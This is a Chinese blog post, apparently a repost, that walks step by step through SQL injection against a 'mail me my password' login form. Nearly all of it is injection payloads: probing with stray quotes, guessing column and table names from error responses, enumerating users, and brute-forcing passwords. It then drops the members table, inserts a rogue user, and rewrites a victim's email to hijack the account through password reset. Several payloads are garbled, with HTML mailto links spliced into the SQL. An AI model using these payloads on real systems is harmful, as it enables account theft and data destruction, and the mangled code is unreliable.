欢迎使用CSDN-markdown编辑器

来源:互联网 发布:淘宝要求3c认证 编辑:程序博客网 时间:2024/04/29 03:33

案例

**场景:传统的用户-密码表单登入页面+页面上有“把我的密码邮给我”链接
猜测SQL代码如下,table具体的名字不知道**

SELECT fieldlist from table where field='$email';

第一步:

  • 开始试探

$email=342361454@qq.com'';

->sql执行,sql解析器发现多余引号中断执行,并提示语法错误
->应用并没有对用户输入进行过滤

  • 继续试探
$email=anything' or 'x'='x

->应用将所有密码信息发送给了 random.person@example.com
->random.person@example.com应该是数据表中的第一个邮件地址

第二步:

猜测邮件字段名:“email”,“email_address”,“mail”

$email=x’ and email is null--

->and语句使得应用不会给任何用户发送密码邮件,同时也可以用来猜测字段名
->如果返回“邮件地址未知”的响应,则说明email字段名正确,否则继续尝试新的字段名

猜测密码字段名:“password”,“userID”,“name”

$email=x' and userid is null;--

->根据“密码未知”响应,确定密码的字段名为userid

第三步:
寻找数据库表名:利用子查询

  • 开始试探:
$email=x' and 1=(select count(*) from tabname); --

->多次尝试后,发现提示“邮件未知”错误的时候,tabname='members'
->'members'是一个有效的字段名

  • 继续探索:
$email=x' and members.email is null; --

->当返回“邮件未知”错误时,说明members表就是当前查询的表

第四步:
找用户账号

  • 开始寻找:

公司官网:about us或者 contact页面提供的公司成员列表、邮件地址
like从句可以进行用户查询

$email=x' or full_name like '%Bob%

->like从句越精炼,获取的信息就越精准

第五步:
密码暴力破解
尽管很多系统都做了监控、防御,但是因为存在未过滤的输出,它们仍然可以被绕过

$email=<a href="mailto:bob@example.com"> bob@example.com</a> and passwd='hello123'

->只要得到“your password has been mailed to you”,则证明该密码正确

沉痛的伤害:

select email,passwd,login_id,full_name from members where email=’x‘;drop table members;--’

->一旦发现了你的表名,你的表很容易就恶意删除

添加新用户
我们已经了解了members表的局部结构,添加一条新的记录进去,则可以以新插入的身份登入到
系统了。

select email,passwd,login_id,full_name from members where email=‘x’;
inser into members (‘email’,‘passwd’,‘login_id’,‘full_name’)values (‘steve@phicomm.com’,‘hello’,‘Steve’,‘Steve fried1’);--';

几件需要了解的事:

  • web表单可能没有足够的空间键入这么多文本

  • web应用可能没有members表的insert权限

  • members表里面肯定还有其他字段,有一些需要初始值,可能会引起insert失效

  • 即使插入了一条新记录,应用也可能不正常运行,因为无法提供其他字段值

  • 一个正确的用户可能不只需要在members表内插入一条新记录,可能还需要结合其他表信息。

假设成功插入了一条新记录,但是无法登入成功
->这可能是后面两个原因导致的,很难正确处理

select email, passwd, login_id, full_name from members where email='x';update members set email=<a href="mailto: [steve@phicomm.com](steve@phicomm.com)"> steve@phicomm.com <a/>where email=<a href="mailto :[bob@example.com](bob@example.com)"> bob@phicomm.com <a/>';

->这样就可以解决后面两个原因所涉及的问题

使用“i lost my password”功能,使用刚刚更新email地址,一分钟后收到密码,然后就能按标准流程正常登入系统,从而获取更多的信息,包括全用户列表等,能够帮助web用户绘制数据库结构,为进一步的渗透提供了一条林荫大道

原创粉丝点击